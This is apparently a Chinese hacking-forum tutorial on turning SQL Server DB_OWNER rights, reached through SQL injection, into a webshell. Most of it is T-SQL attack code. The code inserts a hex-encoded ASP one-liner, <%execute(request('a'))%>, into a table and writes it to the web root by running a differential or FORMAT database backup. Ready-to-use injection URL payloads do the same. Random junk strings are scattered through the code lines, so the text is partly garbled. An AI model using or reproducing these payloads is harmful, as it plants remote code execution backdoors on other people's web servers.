DB_OWNER权限得到webshell的改进办法

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DB_OWNER权限得到webshell的两点改进:

减少备份文件大小，得到可执行的webshell成功率提高不少
一利用差异备份
加一个参数WITH DIFFERENTIAL
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! Q5 i- |1 r2 j- U2 d declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
6 ?0 [1 b& ]' w9 K' Rinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
) V4 f. X; y; m! g6 ^declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

二利用完全FORMAT
加一个参数WITH FROMAT
$ a& x8 m1 N3 Y$ c: H: O7 S& q0 ~有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
4 d  f8 V; ?$ S# _+ Hinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
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总的来说就是那么简单几句,下面以备份数据库model为例子
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id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')

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/ I8 |+ h0 l+ Z  b4 E id=1;backup database model to disk='你的路径‘ with differential,format;--
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